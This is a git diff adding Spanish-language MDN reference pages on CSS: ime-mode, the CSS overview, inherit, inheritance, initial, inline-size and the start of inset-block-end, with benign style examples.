+   <td><code>element()</code></td>
+   <td>4.0 (2.0) limited to {{cssxref("background-image")}} &amp; {{cssxref("background")}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Using_CSS_gradients">Degradados CSS</a>, {{cssxref("&lt;gradient&gt;")}}, {{cssxref("linear-gradient","linear-gradient()")}}, {{cssxref("radial-gradient","radial-gradient()")}}, {{cssxref("repeating-linear-gradient","repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient","repeating-radial-gradient()")}}</li>
+ <li>{{cssxref("element", "element()")}}</li>
+</ul>
diff --git a/files/es/web/css/ime-mode/index.html b/files/es/web/css/ime-mode/index.html
new file mode 100644
index 0000000000..58a8c5b0ed
--- /dev/null
+++ b/files/es/web/css/ime-mode/index.html
@@ -0,0 +1,50 @@
+---
+title: ime-mode
+slug: Web/CSS/ime-mode
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/ime-mode
+---
+<p> </p>
+<p>{{ CSSRef() }} {{ Fx_minversion_header(3) }}</p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>La propiedad <code>ime-mode</code> controla el estado del método de entrada del editor para campos de texto.</p>
+<ul> <li>{{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("auto", "automático") }}</li> <li>Se aplica a: campos de texto.</li> <li>{{ Cssxref("inheritance", "Valor heredado") }}: no</li> <li>Porcentajes: N/A</li> <li>Media: {{ Xref_cssvisual() }}</li> <li>{{ Cssxref("computed value", "Valor calculado") }}:</li>
+</ul>
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+<pre class="eval">ime-mode: &lt;mode&gt;
+</pre>
+<h3 id="Valores" name="Valores">Valores</h3>
+<dl> <dt><code>auto</code> </dt> <dd>No hay cambios en el estado actual del editor. Opción por defecto.</dd> <dt><code>normal</code> </dt> <dd>El estado IME debería ser normal. Este valor puede ser usado en cualquier hoja de estilo del usuario para sobrescribir los parámetros de la página. <em>Este valor no es soportado por Internet Explorer</em>.</dd> <dt><code>active</code> </dt> <dd>El editor de entradas, está inicialmente activo y usado para la entrada de datos, hasta que el usuario lo desactive específicamente. <em>No soportado en Linux</em>.</dd> <dt><code>inactive</code> </dt> <dd>el editor de entradas está inicialmente inactivo, pero el usuario puede activarlo en cualquier momento. <em>No soportado por Linux</em>.</dd> <dt><code>disabled</code> </dt> <dd>El editor de entradas está desactivado y no puede ser activado por el usuario.</dd>
+</dl>
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+<pre>&lt;input type="text" name="name" value="initial value" style="ime-mode: disabled"&gt;
+</pre>
+<p>Este ejemplo inhabilita/desactiva el editor de entradas para este campo. Esto podría ser necesario para los campos que entran datos en una base de datos que no soporta el juego de caracteres extendido, por ejemplo.</p>
+<h3 id="Notas" name="Notas">Notas</h3>
+<p>A diferencia de Internet Explorer, la implementación de Firefox de <code>ime-mode</code> permite aplicar esta propiedad a los campos de edición de clave de usuario (passwords). Sin embargo, no es la mejor experiencia para el usuario y los campos de clave de usuario deberían desactivar el IME. Los usuarios pueden corregir el comportamiento inapropiado de los sitios que no sigan esta recomendación poniendo la siguiente regla CSS en su archivo de reglas CSS:</p>
+<pre>input[type=password] {
+	ime-mode: auto !important;
+}
+</pre>
+<blockquote>
+<div class="note"><strong>Nota:</strong> En general, no es apropiado por un sitio público la manipulación el estado del modo de IME. Esta propiedad debería usarse para aplicaciones web o similares.</div>
+</blockquote>
+<p>La versión de Gecko 1.9 para Macintosh no es capaz de recuperar el estado previo del IME cuando el campo para el cual se ha desactivado pierde el foco, por tanto, los usuarios de Mac podrían enfadarse cuando se utiliza el valor <code>disabled</code>.</p>
+<blockquote>
+<div class="note"><strong>Nota:</strong> Desactivar el IME para prevenir la entrada de caracteres extendidos en los formularios no impide que los usuarios puedan pegar caracteres extendidos en los campos del formulario.</div>
+</blockquote>
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+<ul> <li><a class="external" href="http://msdn2.microsoft.com/en-us/library/ms533883.aspx">Especificaciones de Microsoft</a></li>
+</ul>
+<h3 id="Compatibilidad_entre_navegadores" name="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h3>
+<p>La propiedad <code>ime-mode</code> es soportada en Firefox 3 y posteriores, así como en Internet Explorer.</p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">Interwiki Languages</span> <a href="/zh_tw/CSS/ime-mode">zh tw:CSS:ime-mode</a></p>
+</div>
+<p>{{ languages( { "en": "en/CSS/ime-mode", "fr": "fr/CSS/ime-mode", "ja": "ja/CSS/ime-mode", "zh-tw": "zh_tw/CSS/ime-mode" } ) }}</p>
diff --git a/files/es/web/css/index.html b/files/es/web/css/index.html
new file mode 100644
index 0000000000..25c39d556c
--- /dev/null
+++ b/files/es/web/css/index.html
@@ -0,0 +1,113 @@
+---
+title: CSS
+slug: Web/CSS
+tags:
+  - CSS
+  - Diseño
+  - Estilo
+  - Hojas de Estilo en Cascada
+  - Hojas de estilo
+  - Referencia
+translation_of: Web/CSS
+---
+<p class="summary"><strong>Hojas de Estilo en Cascada</strong> (del inglés<em> </em><em><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</em>) o <strong>CSS</strong> es el lenguaje de <a href="https://wiki.developer.mozilla.org/es/docs/Web/API/StyleSheet">estilos</a> utilizado para describir la presentación de documentos <a href="/es/docs/HTML" title="HTML">HTML</a> o <a href="/es/docs/XML" title="XML">XML</a> (incluyendo varios languages basados en XML como <a href="https://wiki.developer.mozilla.org/es/docs/Web/SVG">SVG</a>, <a href="https://wiki.developer.mozilla.org/es/docs/Web/MathML">MathML</a> o {{Glossary("XHTML")}}). CSS describe como debe ser renderizado el elemento estructurado en la pantalla, en papel, en el habla o en otros medios.</p>
+
+<p><strong>CSS</strong> es uno de los lenguajes base de la <em>Open Web</em> y posee una <a href="http://www.w3.org/Style/CSS/#specs">especificación estandarizada</a> por parte del W3C. Anteriormente , el desarrollo de varias partes de las especificaciones de CSS era realizado de manera sincrónica, lo que permiía el versionado de las recomendaciones. Probablemente habrás escuchado acerca de CSS1, CSS2.1, CSS3. Sin embargo, CSS4 nunca se ha lanzado como una versión oficial.</p>
+
+<p>Desde CSS3, el alcance de las especificaciones se incrementó de forma significativa y el progreso de los diferentes modulos de CSS comenzó a mostrar varias diferencias, lo que hizo más efectivo <a href="/es/docs/https://www.w3.org/Style/CSS/current-work">desarrollar y publicar recomendaciones separadas por módulos</a>. En vez de versionar las especificaciones de CSS, la W3C actualmente realiza una captura de las <a href="https://www.w3.org/TR/css//es/docs/">ultimas espcificaciones estables de CSS</a>.</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>Introducción a CSS</span>
+
+  <p>Si eres nuevo en el desarrollo web, asegúrate de leer nuestro artículo de <a href="/es/docs/Learn/Getting_started_with_the_web/CSS_basics">conceptos básicos de CSS</a> para saber qué es CSS y cómo usarlo.</p>
+ </li>
+ <li><span>Tutoriales CSS</span>
+  <p>Nuestra <a href="/es/docs/Learn/CSS">área de aprendizaje de CSS</a> contiene una gran cantidad de tutoriales que te llevan desde el nivel de principiante hasta el nivel de competencia, cubriendo todos los aspectos fundamentales.</p>
+ </li>
+ <li><span>Referencia CSS</span>
+  <p>Nuestra <a href="/es/docs/Web/CSS/Reference">exhaustiva referencia de CSS</a> para desarrolladores web experimentados describe cada propiedad y concepto de CSS.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Tutoriales">Tutoriales</h2>
+
+<p>Nuestra <a href="/es/docs/Learn/CSS">área de aprendizaje CSS</a> presenta múltiples módulos que enseñan CSS desde cero — no se requieren conocimientos previos.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/CSS/Introduction_to_CSS">Primeros pasos en CSS</a></dt>
+ <dd>CSS es utilizado para diseñar y dar estilo a las páginas web, por ejemplo, alterando la fuente, color, tamaño y espaciado del contenido, dividirlo en múltiples columnas o agregar animaciones y otras características decorativas. Este módulo proporciona un suave comienzo hacia el dominio de CSS con los conceptos básicos acerca de su funcionamiento, la sintaxis y la manera en que puedes comenzar a utilizarlo para agregar estilos al HTML.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Learn/CSS/Building_blocks">Bloques de construcción CSS.</a></dt>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">Este módulo continúa a partir de donde dejó el módulo de <a href="/es/docs/Learn/CSS/Introduction_to_CSS">primeros pasos de CSS</a>. Ahora que has adquirido familiaridad con el lenguaje y su sintaxis, y has ganado cierta experiencia básica con su uso, es hora de profundizar un poco más.</span> <span title="">Este módulo analiza la cascada y la herencia, todos los tipos de selectores que tenemos disponibles, unidades, tamaño, estilo de fondos y bordes, depuración (<em>debugging</em>) y mucho más. </span></span></dd>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">El propósito de este módulo es proporcionarte un set de herramientas para escribir CSS competente y ayudarte a entender todas la teoría esencial antes de avanzar hacia cuestiones más específicas como <a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/Styling_text">estilo de textos</a> y <a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/CSS_layout">diseño CSS</a>. </span></span></dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Learn/CSS/Styling_text">Estilo de texto</a></dt>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">Con los conceptos básicos del lenguaje CSS cubiertos, el siguiente tema de CSS en el que debes concentrarte es dar estilo al texto, una de las cosas más comunes que harás con CSS.</span> <span title="">Aquí veremos los fundamentos del estilo del texto, incluida la configuración de la fuente, negrita, cursiva, espaciado entre líneas y letras, sombras y otras características del texto.</span> <span title="">Terminaremos el módulo analizando la aplicación de fuentes personalizadas a tu página y en el estilo de listas y enlaces.</span></span></dd>
+ <dt><a href="/es/docs/Learn/CSS/CSS_layout">Diseño de CSS</a></dt>
+ <dd>En este punto ya hemos analizado los fundamentos de CSS, cómo dar estilo al texto y cómo diseñar y manipular las cajas en las que se encuentra el contenido. Ahora es el momento de ver cómo colocar sus cajas en el lugar correcto en relación con la pantalla del dispositivo y entre sí. Hemos cubierto los requisitos previos necesarios para que ahora puedas profundizar en el diseño de CSS, mirando diferentes configuraciones de pantalla, métodos de diseño tradicionales que implican flotación y posicionamiento, y nuevas herramientas de diseño como flexbox, grid y posicionamiento, asi como algunas técnicas de herencia que quizas desees conocer.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/S%C3%A1bercomo">Uso de CSS para resolver problemas comunes</a></dt>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">proporciona enlaces a secciones de contenido que explican cómo usar CSS para resolver problemas muy comunes al crear una página web.</span></span></dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Referencia">Referencia</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Reference">Referencia CSS:</a> Esta referencia exhaustiva para desarrolladores web experimentados describe cada propiedad y concepto de CSS.</li>
+ <li>Conceptos clave de CSS:
+  <ul>
+   <li>La <a href="/es/docs/CSS/Syntax">sintaxis y las formas del lenguaje</a></li>
+   <li><a href="/es/docs/CSS/Specificity">Especificidad</a>, <a href="/es/docs/CSS/inheritance">herencia</a> y <a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/Cascade">la cascada</a></li>
+   <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Values_and_Units">Unidades y valores CSS</a></li>
+   <li><a href="/es/docs/CSS/box_model">Modelo de caja</a> y <a href="/es/docs/CSS/margin_collapsing">colapso de margen</a></li>
+   <li>El <a href="/es/docs/Web/CSS/All_About_The_Containing_Block">bloque contenedor</a></li>
+   <li>Contextos de <a href="/es/docs/CSS/Understanding_z-index/The_stacking_context">apilamiento</a> y <a href="/es/docs/CSS/block_formatting_context">formato de bloques</a></li>
+   <li>Valores <a href="/es/docs/CSS/initial_value">iniciales</a>, <a href="/es/docs/CSS/computed_value">calculados</a>, <a href="/es/docs/CSS/used_value">usados </a>y <a href="/es/docs/CSS/actual_value">actuales</a></li>
+   <li><a href="/es/docs/Web/CSS/Shorthand_properties">Propiedades abreviadas de CSS</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout">Diseño de caja flexible de CSS</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout">Diseño de cuadrícula CSS (<em>CSS Grid</em>)</a></li>
+   <li><em><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/Media_Queries">Media queries</a></em></li>
+   <li><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/animation">Animaciones</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 class="Tools" id="Cookbook">Cookbook</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El <a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/Layout_cookbook">libro de cocina de diseño CSS </a><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/Layout_cookbook"> </a>tiene como objetivo reunir recetas para patrones de diseño comunes, sobre cosas que puedes necesitar implementar en tus sitios.</span> <span title="">Además de proporcionar código que puedes usar como punto de partida en tus proyectos, estas recetas destacan las diferentes formas en que se pueden usar las especificaciones de diseño y las elecciones que puedes hacer como desarrollador.</span></span></p>
+
+<h2 class="Tools" id="Herramientas_para_el_desarrollo_de_CSS">Herramientas para el desarrollo de CSS</h2>
+
+<ul>
+ <li>Puede usar el <a href="https://jigsaw.w3.org/css-validator/">Servicio de Validación CSS de W3C</a> para verificar si su CSS es válido. Esta es una herramienta de depuración de valor incalculable.</li>
+ <li>Las <a href="/es/docs/Tools">herramientas para desarrolladores de Firefox</a> te permiten ver y editar el CSS de una página en vivo a través de las herramientas <a href="/es/docs/Tools/Page_Inspector">Inspector </a>y <a href="/es/docs/Tools/Style_Editor">Editor de estilos</a>.</li>
+ <li>La <a href="https://addons.mozilla.org/es/firefox/addon/60">extensión Web Developer</a> para Firefox le permite rastrear y editar CSS en vivo en sitios vigilados.</li>
+ <li>La comunidad web ha creado varias <a href="/es/docs/Web/CSS/Tools">herramientas CSS </a>para que las uses.</li>
+</ul>
+
+<h2 id="Meta_errores">Meta errores</h2>
+
+<ul>
+ <li>Firefox: {{bug(1323667)}}</li>
+</ul>
+</div>
+</div>
+</section>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/Demos_of_open_web_technologies#CSS">Demos de CSS</a>: obtén un impulso creativo explorando ejemplos de las últimas tecnologías de CSS en acción.</li>
+ <li>Lenguajes web a los que se aplica CSS frecuentemente: <a href="/es/docs/HTML">HTML</a>, <a href="/es/docs/SVG">SVG</a>, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/MathML">MathML,</a> <a href="/es/docs/XHTML">XHTML</a> y <a href="/es/docs/XML">XML</a>.</li>
+ <li>Tecnologías de Mozilla que hacen un amplio uso de CSS: <a href="/es/docs/Extensions">extensiones</a> y <a href="/es/Add-ons/Themes">temas </a>de <a href="/es/Firefox">Firefox </a>y <a href="/es/docs/Mozilla/Thunderbird">Thunderbird</a>.</li>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-tech-layout">Lista de correo de Mozilla</a></li>
+ <li><a href="https://stackoverflow.com/questions/tagged/css">Preguntas de Stackoverflow sobre CSS</a></li>
+</ul>
diff --git a/files/es/web/css/inherit/index.html b/files/es/web/css/inherit/index.html
new file mode 100644
index 0000000000..513c3165c9
--- /dev/null
+++ b/files/es/web/css/inherit/index.html
@@ -0,0 +1,64 @@
+---
+title: inherit
+slug: Web/CSS/inherit
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/inherit
+---
+<p>&lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a></p>
+
+
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><strong>inherit</strong> es un valor permitido en todas las propiedades CSS. Hace que el elemento al cual se aplica tome el <a href="es/CSS/Valor_calculado">valor calculado</a> de la propiedad de su elemento padre.</p>
+
+<h4 id="Para_propiedades_heredadas" name="Para_propiedades_heredadas">Para propiedades heredadas</h4>
+
+<p>Para las propiedades <a href="es/CSS/inheritance#Propiedades_heredadas">heredadas</a>, este valor refuerza el comportamiento del valor por defecto y es necesario sólo para anular otras reglas. Por ejemplo:</p>
+
+<pre>  /* hacer las cabeceras de segundo nivel, verdes */
+  h2 { color: green; }
+
+  /* ...pero deja aquellas cabeceras dentro de de la barra lateral con el valor por defecto (el valor que tenga el elemento padre */
+  #sidebar h2 { color: inherit; }
+</pre>
+
+<p>Ten en cuenta que en este ejemplo, el elemento <code>h2</code> dentro de sidebar, puede tener un color distinto. Por ejemplo, si alguno de los elementos es un hijo de un elemento div con la siguiente regla:</p>
+
+<pre class="eval"> div#current { color: blue; }
+</pre>
+
+<p>el elemento será azul.</p>
+
+<h4 id="Para_propiedades_no_heredadas" name="Para_propiedades_no_heredadas">Para propiedades no heredadas</h4>
+
+<p>Para las propiedades <a href="es/CSS/inheritance#Propiedades_no_heredadas">no heredadas</a>, este valor especifica un comportamiento que tiene relativamente poco sentido al no reforzar el valor por defecto.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Siempre se hereda desde el elemento padre dentro del árbol del documento, aún cuando el elemento padre no es el bloque contenedor.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/cascade.html#value-def-inherit">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Compatibilidad_de_navegadores" name="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h3>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p><a href="https://developer.mozilla.org/es/docs/Web/CSS/initial">initial</a></p>
+
+
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "fr": "fr/CSS/inherit", "en": "en/CSS/inherit" } ) }}</p>
diff --git a/files/es/web/css/inheritance/index.html b/files/es/web/css/inheritance/index.html
new file mode 100644
index 0000000000..780d5d49ea
--- /dev/null
+++ b/files/es/web/css/inheritance/index.html
@@ -0,0 +1,66 @@
+---
+title: Herencia
+slug: Web/CSS/inheritance
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/inheritance
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El resumen de cada <a href="es/Gu%c3%ada_de_referencia_de_CSS">definición de propiedad CSS</a> indica si esa propiedad es heredada por defecto ("Inherit: Yes") o no ("Inherit: no"). Esto controla lo que sucede al no especificar un valor concreto para una propiedad de un elemento.</p>
+
+<h3 id="Propiedades_heredadas" name="Propiedades_heredadas">Propiedades heredadas</h3>
+
+<p>Cuando no se especifica un valor para un elemento de una propiedad <strong>inherited property</strong>, el elemento toma el {{ Cssxref("computed value", "valor calculado") }} de la propiedad de su elemento padre. Sólo los elementos raíz de un documento obtienen el valor {{ Cssxref("initial", "inicial") }} dado en el resumen de la propiedad.</p>
+
+<p>Un ejemplo característico de una propiedad heredada es la propiedad {{ Cssxref("color") }}. Definida con las siguientes reglas de estilo:</p>
+
+<pre class="eval"> p { color: green }
+</pre>
+
+<p>y el código HTML siguiente:</p>
+
+<pre class="eval"> &lt;p&gt;Este párrafo tiene &lt;em&gt;texto enfatizado&lt;/em&gt; en su interior.&lt;/p&gt;
+</pre>
+
+<p>las palabras "texto enfatizado" aparecerá en verde, ya que el elemento <code>em</code> ha heredado el valor de la propiedad {{ Cssxref("color") }} a partir del elemento <code>p</code>.<em>No</em> recoge el valor inicial de la propiedad (que es el color que es usado por el elemento raíz cuando la página especifica que no hay color).</p>
+
+<h3 id="Propiedades_no_heredadas" name="Propiedades_no_heredadas">Propiedades no heredadas</h3>
+
+<p>Si no se especifica un valor para una propiedad no heredada (<em>non-inherited property</em>) (a veces llamada <strong>reset property</strong> en el código Mozilla), el elemento toma el valor {{ Cssxref("initial", "inicial") }} de dicha propiedad (como se especifica en el resumen de ésa propiedad).</p>
+
+<p>Un ejemplo característico de una propiedad no heredada es la del {{ Cssxref("border", "borde") }}. Definida con las siguientes reglas de estilo:</p>
+
+<pre class="eval"> p { border: medium solid }
+</pre>
+
+<p>y la etiqueta HTML:</p>
+
+<pre class="eval"> &lt;p&gt;Este párrafo tiene &lt;em&gt;texto enfatizado&lt;/em&gt; en su interior.&lt;/p&gt;
+</pre>
+
+<p>las palabras "texto enfatizado" no tendrán borde (ya que el valor inicial del {{ Cssxref("border-style", "estilo de borde") }} es <code>none</code>).</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Las palabras de código {{ Cssxref("inherit") }} permiten al autor definir, explícitamente, la posibilidad de herencia. Funciona para las propiedades heredadas y las no heredadas.</p>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("inherit") }}, {{ Cssxref("Valor inicial") }}</p>
+
+<p> </p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><br>
+ <span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "en": "en/CSS/inheritance", "fr": "fr/CSS/H\u00e9ritage", "ja": "ja/CSS/inheritance", "pl": "pl/CSS/Dziedziczenie" } ) }}</p>
diff --git a/files/es/web/css/initial/index.html b/files/es/web/css/initial/index.html
new file mode 100644
index 0000000000..aff090e21f
--- /dev/null
+++ b/files/es/web/css/initial/index.html
@@ -0,0 +1,46 @@
+---
+title: initial
+slug: Web/CSS/initial
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/initial
+---
+<p> <a href="es/Gu%c3%ada_de_referencia_de_CSS">Guía de referencia de CSS</a>
+</p><p><br>
+</p>
+<h3 id="Resumen" name="Resumen"> Resumen </h3>
+<p><b>initial</b> es un valor permitido en todas las propiedades CSS. Fuerza la utilización del <a href="es/CSS/Valor_inicial">valor inicial</a> de la propiedad para el elemento al cual se aplica.
+</p>
+<h4 id="Para_propiedades_no_heredadas" name="Para_propiedades_no_heredadas"> Para propiedades no heredadas </h4>
+<p>Para las propiedades <a href="es/CSS/inheritance#propiedades_heredadas_y_no_heredadas">no heredadas</a>, este valor refuerza el comportamiento por defecto y es necesario sólo para sobrescribir otra regla. Por ejemplo:
+</p>
+<pre class="eval"> /* definimos un borde verde de un encabezamiento de segundo nivel */
+ h2 { border: medium solid green }
+
+ /* pero las cabeceras de la barra lateral utilizan el valor inicial de la propiedad <a href="es/CSS/color">color</a> */
+ #sidebar h2 { border-color: initial; }
+
+ /* ...en CSS1 se obtiene usando 'border: medium solid' */
+</pre>
+<h4 id="Para_propiedades_heredadas" name="Para_propiedades_heredadas"> Para propiedades heredadas </h4>
+<p>Para las propiedades <a href="es/CSS/inheritance#propiedades_heredadas_y_no_heredadas">heredadas</a>, se usa menos ya que no refuerza el comportamiento por defecto.
+</p>
+<h3 id="Especificaciones" name="Especificaciones"> Especificaciones </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/css3-values/#keywords">css3-values</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/css3-cascade/#initial0">css3-cascade</a>
+</li></ul>
+<h3 id="Compatibilidad" name="Compatibilidad"> Compatibilidad </h3>
+<p>Sólo algunas especificaciones son soportadas en Firefox (las cuales se incrementan en cada versión superior) <span class="comment">Únicamente soportado en Firefox algunas propiedades (se incrementa el número en cada versión).</span>
+</p>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n"> Ver también </h3>
+<p><a href="es/CSS/inherit">inherit</a>
+</p><p><br>
+</p>
+<div class="noinclude">
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+</div>
+{{ languages( { "fr": "fr/CSS/initial", "en": "en/CSS/initial" } ) }}
diff --git a/files/es/web/css/inline-size/index.html b/files/es/web/css/inline-size/index.html
new file mode 100644
index 0000000000..d39bac491c
--- /dev/null
+++ b/files/es/web/css/inline-size/index.html
@@ -0,0 +1,97 @@
+---
+title: inline-size
+slug: Web/CSS/inline-size
+translation_of: Web/CSS/inline-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inline-size</code></strong> define el tamaño horizontal o vertical de un  bloque de elementos, dependiendo del modo de escritura. Esto corresponde ya sea a la propiedad {{cssxref("width")}} o {{cssxref("height")}}, dependiendo del valor de  {{cssxref("writing-mode")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/inline-size.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inline-size: 300px;
+inline-size: 25em;
+
+/* &lt;percentage&gt; values */
+inline-size: 75%;
+
+/* Keyword values */
+inline-size: 25em border-box;
+inline-size: 75% content-box;
+inline-size: max-content;
+inline-size: min-content;
+inline-size: available;
+inline-size: fit-content;
+inline-size: auto;
+
+/* Global values */
+inline-size: inherit;
+inline-size: initial;
+inline-size: unset;
+</pre>
+
+<p>Si el modo de escritura es verticalmente orientado, el valor de <code>inline-size</code> se relaciona con la altura del elemento; de lo contrario, se relaciona con el ancho del elemento. Una propiedad relacionada es {{cssxref("block-size")}}, que define la otra dimensión del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inline-size</code> toma los mismos valores de las propiedades {{cssxref("width")}} y {{cssxref("height")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  inline-size: 110px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#logical-dimension-properties", "inline-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.inline-size")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("width")}} y {{cssxref("height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/inset-block-end/index.html b/files/es/web/css/inset-block-end/index.html
new file mode 100644
index 0000000000..b117a0595c
--- /dev/null
+++ b/files/es/web/css/inset-block-end/index.html
@@ -0,0 +1,99 @@
+---
+title: inset-block-end
+slug: Web/CSS/inset-block-end
+translation_of: Web/CSS/inset-block-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><span class="seoSummary"> <strong><code>inset-block-end</code></strong> define el desplazamiento de final de bloque lógico de un elemento, que se asigna a una inserción física en función del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponde a la propiedad {{cssxref ("top")}}, {{cssxref ("right")}}, {{cssxref ("bottom")}}, o {{cssxref ("left")}} dependiendo de la propiedad en los valores definidos para {{cssxref ("modo de escritura")}}, {{cssxref ("dirección")}} y {{cssxref ("orientación de texto")}}.</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: Antes de Firefox 63 esta propiedad fue implementada como offset-block-end. <a href="https://www.fxsitecompat.com/en-CA/docs/2018/offset-logical-properties-have-been-renamed-to-inset/">Firefox 63 actualizó el nombre de esta propiedad.</a> para que coincida con un cambio en la especificación.</p>
+</div>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+inset-block-end: 3px;
+inset-block-end: 2.4em;
+
+/* &lt;percentage&gt;s of the width or height of the containing block */
+inset-block-end: 10%;
+
+/* Keyword value */
+inset-block-end: auto;
+
+/* Global values */
+inset-block-end: inherit;
+inset-block-end: initial;
+inset-block-end: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>inset-block-end</code> toma los mismos valores de la propiedad {{cssxref("left")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
